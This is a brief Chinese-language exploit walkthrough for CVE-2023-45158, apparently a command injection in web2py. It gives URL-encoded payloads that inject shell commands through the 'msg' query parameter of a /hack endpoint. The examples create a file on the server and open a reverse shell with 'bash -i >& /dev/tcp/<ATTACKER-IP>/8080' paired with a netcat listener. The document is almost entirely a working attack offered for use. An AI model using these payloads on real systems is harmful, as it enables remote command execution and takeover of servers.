CVE-2023-45158

步骤

1. 运行 Web 服务器

cd web2py
python3 web2py.py

2. 使用以下 URL 注入你的命令 http://<IP-ADDRESS>:8000/hack?msg=%27%3B<YOUR-COMMAND>%3B%27。将 <IP-ADDRESS> 和 <YOUR-COMMAND> 替换为你的值。

示例

1. 在服务器上创建一个文件

http://<IP-ADDRESS>:8000/hack?msg=%27%3Btouch%20hack%3B%27

2. 反弹 shell

在攻击者的机器上，运行 nc -l 127.0.0.1 8080

访问 URL http://<IP-ADDRESS>:8000/hack?msg=%27%3Bbash%20-i%20>%26/dev/tcp/<ATTACKER-IP>/8080%200>%26%201%3B%27。将 <ATTACKER-IP> 替换。